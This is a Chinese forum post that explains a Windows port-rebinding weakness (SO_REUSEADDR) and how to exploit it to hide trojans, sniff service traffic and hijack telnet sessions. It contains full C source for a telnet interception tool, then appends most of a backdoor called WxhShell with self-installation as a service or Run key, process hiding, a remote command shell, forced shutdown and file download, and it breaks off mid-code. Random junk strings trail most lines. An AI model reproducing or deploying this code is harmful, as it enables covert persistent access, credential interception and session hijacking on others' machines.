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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y-&r_s_~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fa^5.p  
|E!()j=  
  saddr.sin_family = AF_INET; IXt2R~b  
9"2.2li5$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~u1ox_v`%(  
V ?3>hQtB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a_I!2w<I  
\Q{@AC<?i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vTjgW?9  
R|H9AM ~E  
  这意味着什么?意味着可以进行如下的攻击: <5/r  
h{.KPK\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2}]6~i  
4vTO  #F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k|-`d  
c\UVMyE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 } gyJaMA  
VB*N;bM^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z h0m3|9O  
?GU/Rf!H#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {6)fZpd)@  
S5d:?^PGg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RH ow%2D  
CmRn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AL! ^1hCF  
c&)H   
  #include $G5m/[KDI  
  #include `|wH=  
  #include ,Ihuo5>/z  
  #include    [6BL C{2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /7*jH2  
  int main() lO8.Q"mxo  
  { F1R91V|  
  WORD wVersionRequested; 5/DTE:M<  
  DWORD ret; k);z}`7  
  WSADATA wsaData; 8,YF>O&  
  BOOL val; ]R}#3(]1  
  SOCKADDR_IN saddr; Ri4_zb  
  SOCKADDR_IN scaddr; b>E%&sf  
  int err; VP\HPSp  
  SOCKET s; rB?u.jn0T  
  SOCKET sc; E!Hq%L!/  
  int caddsize; xq =+M!V  
  HANDLE mt; F/ 2@%,2n  
  DWORD tid;   Km]N scq1  
  wVersionRequested = MAKEWORD( 2, 2 ); JWy$` "{  
  err = WSAStartup( wVersionRequested, &wsaData ); 1O45M/5\o  
  if ( err != 0 ) { I!jSAc{  
  printf("error!WSAStartup failed!\n"); M ! gX4  
  return -1; mc|T}B  
  } "$+naY{w  
  saddr.sin_family = AF_INET; '0X!_w6W  
   Ql%7wrK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F^_d8=67h  
/V~L:0%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P~ _CDh.N  
  saddr.sin_port = htons(23); 0{ v?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {b^naE  
  { swG^L$r`  
  printf("error!socket failed!\n"); xj{X#[q):  
  return -1; "Na9Xea  
  } O 4N_lr~  
  val = TRUE; J><O 51  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L;nRI.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 52m^jT Sx  
  { Q6,rY(b6  
  printf("error!setsockopt failed!\n"); ]?-56c,  
  return -1; T =3te|fv  
  } Y:^ =jV7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >tr?5iKxc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _4o2AS:j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2F!K }aw  
Y@KZ:0<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nX5*pTfjL3  
  { pW:h\}%`n  
  ret=GetLastError(); jCW>=1:JGY  
  printf("error!bind failed!\n"); I.R3?+tZ  
  return -1; 10}oaL S  
  } =G}_PRn  
  listen(s,2); =/6.4;8  
  while(1) .`Z{ptt>  
  { k}ps-w6:  
  caddsize = sizeof(scaddr); "x9xJ  
  //接受连接请求 z:u`W#Rf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B_hob  
  if(sc!=INVALID_SOCKET) MGc=TQ.  
  { @EfCNOy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Rt7}e09HV  
  if(mt==NULL) *Vfas|3hZI  
  { z$ysp!  
  printf("Thread Creat Failed!\n"); ?#}=!$p  
  break; :m8ED[9b  
  } kjaz{&P  
  } n#z^uq|v  
  CloseHandle(mt); Vnh +2XiK  
  }  3mWo`l  
  closesocket(s); "x\3`Qk  
  WSACleanup(); _QvyFKAM  
  return 0; gK(E0p"  
  }   g ywI@QD%#  
  DWORD WINAPI ClientThread(LPVOID lpParam) *Q!b%DIa$  
  { r{\cm Ds  
  SOCKET ss = (SOCKET)lpParam; [.6>%G1C  
  SOCKET sc; kjNA~{  
  unsigned char buf[4096]; Zt lS*id_  
  SOCKADDR_IN saddr; ] |u}P2  
  long num; kUP[&/Lc  
  DWORD val; G]P4[#5  
  DWORD ret; C^n L{ZP,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4Xz6JJ1U[H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   + A0@# :B  
  saddr.sin_family = AF_INET; h4?+/jk7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $nn~K  
  saddr.sin_port = htons(23); <g*rTqT'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?b#?Vz  
  { 7IK<9i4O  
  printf("error!socket failed!\n"); dZ%b|CUb  
  return -1; q{U -kuui  
  } Maa5a  
  val = 100; ~;+i[Z&e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .Z_U]_(  
  { GbP!l;a  
  ret = GetLastError(); l06 q1M 3  
  return -1; ` t6lnO  
  } Efp=z=E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L+I[yJY:!  
  { Q~xR'G[N  
  ret = GetLastError(); 1'aS2vB9  
  return -1; UBqK$2 #  
  } .z[+sy_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JYSw!!eC  
  { :[ITjkhde0  
  printf("error!socket connect failed!\n"); rA1 gH6D  
  closesocket(sc); 8OBvC\%  
  closesocket(ss); 2$\f !6p  
  return -1; @=;6:akz`  
  } 2Cr+Z(f  
  while(1) W!X#:UM)  
  { J&3;6I &  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +uT=Wb \  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W/\7m\ B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 66|lQE&n  
  num = recv(ss,buf,4096,0); M  j5C0P(  
  if(num>0) ZzKn,+  
  send(sc,buf,num,0); BbU&e z8P  
  else if(num==0) ADR`j;2  
  break; [")0{LSA=  
  num = recv(sc,buf,4096,0); l w%fY{  
  if(num>0) c<H4rB  
  send(ss,buf,num,0); 3zl!x  
  else if(num==0) _p_F v>>:  
  break; 3/[=  
  } KDXo9FzF  
  closesocket(ss); Iewq?s\Fo  
  closesocket(sc); wZC'BLD  
  return 0 ; ~f@<]  
  } BMdr.0  
#t/Q4X +  
&a|oJ'clz  
========================================================== ^-ACtA)  
@?1%*/  
下边附上一个代码,,WXhSHELL [ =9R5.)c  
.Z^g 7 *s  
========================================================== *,R e&N8  
%]R#}amW  
#include "stdafx.h" ^#=L?e  
H!Od.$ZIX  
#include <stdio.h> }!d}febk_  
#include <string.h> xO.7cSqgw  
#include <windows.h> $(NfHIX  
#include <winsock2.h> S5d{dTPq  
#include <winsvc.h> q6ikJ8E8b  
#include <urlmon.h> kl={L{r  
- a=yi d  
#pragma comment (lib, "Ws2_32.lib") %bimcRX#W  
#pragma comment (lib, "urlmon.lib") q@\_q!  
sbs"26IE  
#define MAX_USER   100 // 最大客户端连接数 xv*mK1e  
#define BUF_SOCK   200 // sock buffer Y{O&- 5H^|  
#define KEY_BUFF   255 // 输入 buffer ex| kD*=  
gSGe]  
#define REBOOT     0   // 重启 +p[~hM6?  
#define SHUTDOWN   1   // 关机 gO/(/e>P  
JxvwquI  
#define DEF_PORT   5000 // 监听端口 =3T?U_u@  
?UxY4m%R;  
#define REG_LEN     16   // 注册表键长度 cpy"1=K~M  
#define SVC_LEN     80   // NT服务名长度 iY($O/G[+  
(]V.#JM  
// 从dll定义API GmHsO/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O-B3@qQ. h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q?tV:jogY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {Q-U=me\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %*gO<U4L]  
eeDhTw9  
// wxhshell配置信息 jG2w(h/"  
struct WSCFG { 7*5ctc!dG  
  int ws_port;         // 监听端口 RasoOj$  
  char ws_passstr[REG_LEN]; // 口令 KF'M4P  
  int ws_autoins;       // 安装标记, 1=yes 0=no &Ch)SD  
  char ws_regname[REG_LEN]; // 注册表键名 J)G3Kq5>:b  
  char ws_svcname[REG_LEN]; // 服务名 y8 Nb 8m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L!p|RKz9X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l<HRD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C:K\-P9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N:<O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y]lqtre*Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $"i690  
vq s~a7E-P  
}; G<z)Ydh_  
@Dy.HQ~  
// default Wxhshell configuration ;FmSL#]I  
struct WSCFG wscfg={DEF_PORT, m7"f6zSo(  
    "xuhuanlingzhe", c`+ITNV  
    1, >ob/@  
    "Wxhshell", w|HZI,~  
    "Wxhshell", Wk|z\OR(  
            "WxhShell Service", w=`z!x![/  
    "Wrsky Windows CmdShell Service", l+6\U6_)B  
    "Please Input Your Password: ", @( t:E`8  
  1, z(WpOD   
  "http://www.wrsky.com/wxhshell.exe", e ?YbG.(E9  
  "Wxhshell.exe" .}E)7"Qi,  
    }; lP e$AI  
Z C93C7lJ  
// 消息定义模块 cOb%SC[A{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mQs$7t[>t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @5wg'mM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W~tOH=9>  
char *msg_ws_ext="\n\rExit."; Oe YLL4H  
char *msg_ws_end="\n\rQuit."; p[)<d_  
char *msg_ws_boot="\n\rReboot...";  eqR#`  
char *msg_ws_poff="\n\rShutdown..."; uI2'jEjO  
char *msg_ws_down="\n\rSave to "; Q7r,5w& cm  
7j:{rCp3J  
char *msg_ws_err="\n\rErr!"; gp HwiFc  
char *msg_ws_ok="\n\rOK!"; `/zt&=`VB  
%Let AR  
char ExeFile[MAX_PATH]; 2FzS_\":I  
int nUser = 0; [Mz;:/  
HANDLE handles[MAX_USER]; {H V,2-z  
int OsIsNt; qJA.+q.e$e  
CiuN26>  
SERVICE_STATUS       serviceStatus; a,~P_B|@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m'tk#C  
cnthtv+(~  
// 函数声明 9ojhI=:  
int Install(void); As|/ O7%  
int Uninstall(void); sQZ8<DpB  
int DownloadFile(char *sURL, SOCKET wsh); ku?_/-ko]  
int Boot(int flag); :Y>] 6  
void HideProc(void); At(9)6n8  
int GetOsVer(void); [QbXj0en$  
int Wxhshell(SOCKET wsl); .Qt3!ek  
void TalkWithClient(void *cs); gN(hv.nQ  
int CmdShell(SOCKET sock); 6t:c]G'J  
int StartFromService(void); 'I]"=O,  
int StartWxhshell(LPSTR lpCmdLine); ]5f M?:<l  
Mj B[5:s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "6yiQ\`J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Jt6J'MOq  
%>2t=)T  
// 数据结构和表定义 ?MM3LA! <  
SERVICE_TABLE_ENTRY DispatchTable[] = df *#?Ok  
{ .4> s2  
{wscfg.ws_svcname, NTServiceMain}, /zf>>O`  
{NULL, NULL} v4_OUA>z,  
}; h)8+4?-4 I  
AJfi,rFPg  
// 自我安装 ,,@`l\Pgd  
int Install(void) k{jw%a<Sc  
{ ^ ~qs-.?  
  char svExeFile[MAX_PATH]; +[/47uFbI  
  HKEY key; -5 /v`  
  strcpy(svExeFile,ExeFile); /dt!J `:  
L5 9oh  
// 如果是win9x系统,修改注册表设为自启动 *\KvcRMGUa  
if(!OsIsNt) { b',bi.FH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b0Ov+ )7#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &hN&nH"PC  
  RegCloseKey(key); \.P}`Bpa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I<./(X[H:#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sLdUrD%  
  RegCloseKey(key); 3C=clB9<  
  return 0; 6bKO;^0  
    } DhNo +"!z  
  } Sn2Ds)Pfx3  
} ll\^9 4]Q  
else { k(z<Bm  
xg,]M/J  
// 如果是NT以上系统,安装为系统服务 A}bHfn|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eD{ @0&   
if (schSCManager!=0) 8='21@wrN  
{ 8UT%:DlxQ  
  SC_HANDLE schService = CreateService #A9_A%_.h  
  ( XYHCggy  
  schSCManager, M |?p3%  
  wscfg.ws_svcname, >Y-TwD aE  
  wscfg.ws_svcdisp, V/}>>4  
  SERVICE_ALL_ACCESS, qzt2j\v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0j!ke1C&C  
  SERVICE_AUTO_START, 8V|jL?a~  
  SERVICE_ERROR_NORMAL, ;Z1U@2./  
  svExeFile, R P:F<`DB|  
  NULL, ]Wd`GI  
  NULL, e=o{Zo?H=  
  NULL, mERrcYY{  
  NULL, x56 F  
  NULL e9@fQ  
  ); xSDE6]  
  if (schService!=0) x*&&?nV Iz  
  { `bZU&A(`Be  
  CloseServiceHandle(schService); E)Qh]:<2v  
  CloseServiceHandle(schSCManager); nj^q@h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ccn`f]5w  
  strcat(svExeFile,wscfg.ws_svcname); *76viqY;dE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _lPl)8k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?3, 64[  
  RegCloseKey(key); )n}]]^Sc  
  return 0; 4ZJT[zi  
    } U++~3e@l  
  } r` `i C5Ii  
  CloseServiceHandle(schSCManager); qN1 -plY  
} dD^_^'i  
} j&[.2PW\  
O/Mz?$8J  
return 1; J4[x,(iq(  
} x1:Pj  
52MCUl  
// 自我卸载 r($_>TS&"  
int Uninstall(void) `@$"L/AJ  
{ B}q  
  HKEY key; X}j'L&{F@  
0?F@iB~1F  
if(!OsIsNt) { AZy~Q9Kc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -':"6\W  
  RegDeleteValue(key,wscfg.ws_regname); 9IvcKzS2  
  RegCloseKey(key); RZd4(7H=q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7"n1it[RJ8  
  RegDeleteValue(key,wscfg.ws_regname); sh !~T<yy  
  RegCloseKey(key); W?^8/1U  
  return 0; X(!AI|6Bt  
  } VX!Y`y^a  
} 2JA&{ch  
} %<wQ  
else { u3M` 'YCb  
y4/>Ol]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N8 kb-2  
if (schSCManager!=0) i_0 ,BV C  
{ WAwfL?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9xK4!~5V  
  if (schService!=0) qX p,d  
  { @0vC v  
  if(DeleteService(schService)!=0) { F9k I'<Q  
  CloseServiceHandle(schService); Q"OV>klk  
  CloseServiceHandle(schSCManager); tB,.  
  return 0; g]Xzio&w  
  } 68p\WheCal  
  CloseServiceHandle(schService); ^A 11h6I  
  } u+z .J4w  
  CloseServiceHandle(schSCManager); Ufaqhh  
} 1o|0x\q  
} 6VH90KAT  
f/0v' Jt  
return 1; Siz!/O!'  
} eg$5z Z  
hy$MV3LP  
// 从指定url下载文件 z;bH<cQ  
int DownloadFile(char *sURL, SOCKET wsh) ~'^!udF-  
{ ,5eH2W  
  HRESULT hr; ;&+[W(7Sy  
char seps[]= "/"; r,u<y_YW  
char *token; P~Te+ -jX}  
char *file; %A)-m 69  
char myURL[MAX_PATH]; oh7#cFZZ0  
char myFILE[MAX_PATH]; nr<WO~Xw~  
hl6,#2$  
strcpy(myURL,sURL); Y7*(_P3/  
  token=strtok(myURL,seps); 6(N.T+;]  
  while(token!=NULL) Gd30Be2gd  
  { #1QX!dK+  
    file=token; sR"zRn  
  token=strtok(NULL,seps); 9UeVvH  
  } "pSH!0Ap\  
r@*=|0(OrK  
GetCurrentDirectory(MAX_PATH,myFILE); ,J~,ga~  
strcat(myFILE, "\\"); CB*`  
strcat(myFILE, file); O+G~Qp0b>  
  send(wsh,myFILE,strlen(myFILE),0); WFU?o[k-O  
send(wsh,"...",3,0); 6keP':bt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z:Xj_ `p  
  if(hr==S_OK) N,j>;x3xT  
return 0; !lQ#sL`  
else Z?~gQ $  
return 1; 2Vz'n@g=  
-yX.Jv  
} CRZi;7`*1  
I@3Q=14k%  
// 系统电源模块 B>~k).M&,  
int Boot(int flag) awj+#^  
{ "n{9- VEmN  
  HANDLE hToken; c;c:Ea5  
  TOKEN_PRIVILEGES tkp; P$p@5hl  
<@u0.-]  
  if(OsIsNt) { `4VO&lRm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6#E]zmXO2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K#GXpj  
    tkp.PrivilegeCount = 1; |7rR99  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P['X<Xt8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IXGW2z;  
if(flag==REBOOT) { [ 3$.*   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tO?21?AD D  
  return 0; 7*zB*"B'1t  
} qTyg~]e9(  
else { KK:N [x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u$W Bc\ j  
  return 0; 7d3 'CQQ4  
} '"oo;`g7  
  } >?S\~Y  
  else { x Z|&/Ci  
if(flag==REBOOT) { = y?#^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h6g=$8E  
  return 0; |n+ #1_t%  
} (N,nux(0k  
else { )r ULT$;i@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $GQphXb$  
  return 0; .W!tveX8-  
} E;9Z\?P  
} >HE,'  
4Z*|Dsw  
return 1; riID,aut  
} @Ppo &>  
N g58/}zO  
// win9x进程隐藏模块 y&7YJx  
void HideProc(void) .j:i&j(  
{ joe9.{  
:FnOS<_B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LFCTr/,  
  if ( hKernel != NULL ) 2bWUa~%B  
  { -r!42`S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7nm}fT z7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &kb\,mQ  
    FreeLibrary(hKernel); Q`N18I3  
  } $9G3LgcS  
d{W}p~UbH  
return; TW>?h=.z  
} .\$Wy$ d  
d&hD[v  
// 获取操作系统版本 ; vMn/  
int GetOsVer(void) }qG#N  
{ ,aI,2U91  
  OSVERSIONINFO winfo; d;{y`4p)s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (/'h4KS@  
  GetVersionEx(&winfo); KZ]r8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .%_)*NUZ  
  return 1; @\ }sb]  
  else ; VBpp<  
  return 0; U M@naU  
} 8zAg;b [  
zyDZ$Dhka  
// 客户端句柄模块 T: U4:"  
int Wxhshell(SOCKET wsl) G[#.mD{k  
{ Khj=llo,  
  SOCKET wsh; h77IWo6%  
  struct sockaddr_in client; 9[kX/#~W*  
  DWORD myID; e|VJ9|;3  
w$b~x4y%  
  while(nUser<MAX_USER) 0F^]A"kF  
{ aRX  
  int nSize=sizeof(client); 3x![ 8 x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )6G" *  
  if(wsh==INVALID_SOCKET) return 1; P&mtA2  
m*gj|1k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pzg&/m&F`  
if(handles[nUser]==0) 0vDg8i\  
  closesocket(wsh); >&1um5K  
else <9`?Z-lJP  
  nUser++; _e*c  
  } QTYYghz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m`c#:s'_  
SBX|Bcyk*  
  return 0; Yc d3QRB  
} vb %T7  
;,dkJ7M  
// 关闭 socket iOll WkF  
void CloseIt(SOCKET wsh) Mm.Ql  
{ %]#VdS|N  
closesocket(wsh); AeaPK  
nUser--; kQ~ %=pn  
ExitThread(0); rCE;'? Y  
} *qG$19b  
-?5$ PH  
// 客户端请求句柄 Q<yAT(w  
void TalkWithClient(void *cs) *2=W5LaK.  
{ ywEDy|Wn$~  
;b1wk^,Hw~  
  SOCKET wsh=(SOCKET)cs; gH'_ymT= 3  
  char pwd[SVC_LEN]; {V0>iN:~S  
  char cmd[KEY_BUFF]; 7 5|pp  
char chr[1]; *0~M  
int i,j; \6:>{0\  
2h<U  
  while (nUser < MAX_USER) { y@`~9$  
b_l3+'#ofM  
if(wscfg.ws_passstr) { ESIzGaM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5U~OP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HlPG3LD!  
  //ZeroMemory(pwd,KEY_BUFF); "J !}3)n  
      i=0; yb?{LL-uy  
  while(i<SVC_LEN) { ]\BUoQ7I/  
/[iG5~G  
  // 设置超时 69/?7r  
  fd_set FdRead; (zC   
  struct timeval TimeOut; t:=k)B  
  FD_ZERO(&FdRead); H_Os4}  
  FD_SET(wsh,&FdRead); Yx),6C3  
  TimeOut.tv_sec=8; ?q!FG(  
  TimeOut.tv_usec=0; _88QgThb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y\p $SN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FsY(02  
qg4fR' i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 72,"Cj  
  pwd=chr[0]; +T2HE\  
  if(chr[0]==0xd || chr[0]==0xa) { 4V$fGjJ3  
  pwd=0; sAYV)w3u"  
  break; g4wZvra6%)  
  } VgMP^&/gZ  
  i++; m?;$;x~Dj  
    } %2D17*eK  
Mlj#b8  
  // 如果是非法用户,关闭 socket 4P%m>[   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .*!#98pT  
} 9afh[3qm  
Me/\z^pF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ax_YKJ5#P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \QT9HAdd@  
8;#AO8+U7)  
while(1) { 6IP$n($2  
!5UfWk\G  
  ZeroMemory(cmd,KEY_BUFF); X>t3|h  
9P.(^SD][z  
      // 自动支持客户端 telnet标准   94{)"w]  
  j=0; @Tr&`Hi  
  while(j<KEY_BUFF) { /.$L"u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6>,# 6{?jl  
  cmd[j]=chr[0]; :}9j^}"c3  
  if(chr[0]==0xa || chr[0]==0xd) { FZXyfZw!|  
  cmd[j]=0; OJ/SYZ.r  
  break; {155b0  
  } TJOvyz`t  
  j++; O@jqdJu  
    } S;=_;&68?  
1,`H:%z%  
  // 下载文件 =j~Q/-`EC0  
  if(strstr(cmd,"http://")) { =Ndli>x}1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +O+<Go@a  
  if(DownloadFile(cmd,wsh)) V"#Jk!k9k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Au5rR>W  
  else O k7zpq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZJ(rG((!  
  } os$nL'sq  
  else { QaQ'OrP  
(Z-l/)Q  
    switch(cmd[0]) { '7tBvVO_  
  Y)M8zi>b  
  // 帮助 PLdn#S}.  
  case '?': { RUGv8"j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DMZ`Sx  
    break; MEq"}zrh  
  } <m-.aK{9  
  // 安装 Y"!uU.=xJ  
  case 'i': { 7pet Hi  
    if(Install()) 4o5i ."l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zOGR+Gq_Z  
    else KDey(DN:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?`AGF%zp  
    break; ."mlSW"Wm  
    } 5v9Vk` 3'  
  // 卸载 4:1)~z  
  case 'r': { Mo^`\ /x!  
    if(Uninstall()) jN/ j\x'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kNPDm6m  
    else Z]vL%Gg*!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /P+q}L %  
    break; qn"K9k  
    } |J3NR`-R  
  // 显示 wxhshell 所在路径 (C S8(C4[  
  case 'p': { OM:v`<T!z  
    char svExeFile[MAX_PATH]; 3nFt1E   
    strcpy(svExeFile,"\n\r"); EJm4xkYLj1  
      strcat(svExeFile,ExeFile); E4HU 'y~  
        send(wsh,svExeFile,strlen(svExeFile),0); &q>zR6jne  
    break; YaL]>.;Z:"  
    } H+l,)Se  
  // 重启 B?6QMC;  
  case 'b': { iiNSDc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `.^ |]|u  
    if(Boot(REBOOT)) : ejJV 6.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U7H9/<&o  
    else { Qn=$8!Qqa  
    closesocket(wsh); ndi+xaQtG  
    ExitThread(0); #ia;- 3  
    } #a,9B-X  
    break; ({[,$dEa;  
    } #I%s 3  
  // 关机 WY>Knp=  
  case 'd': { M"wue*&  
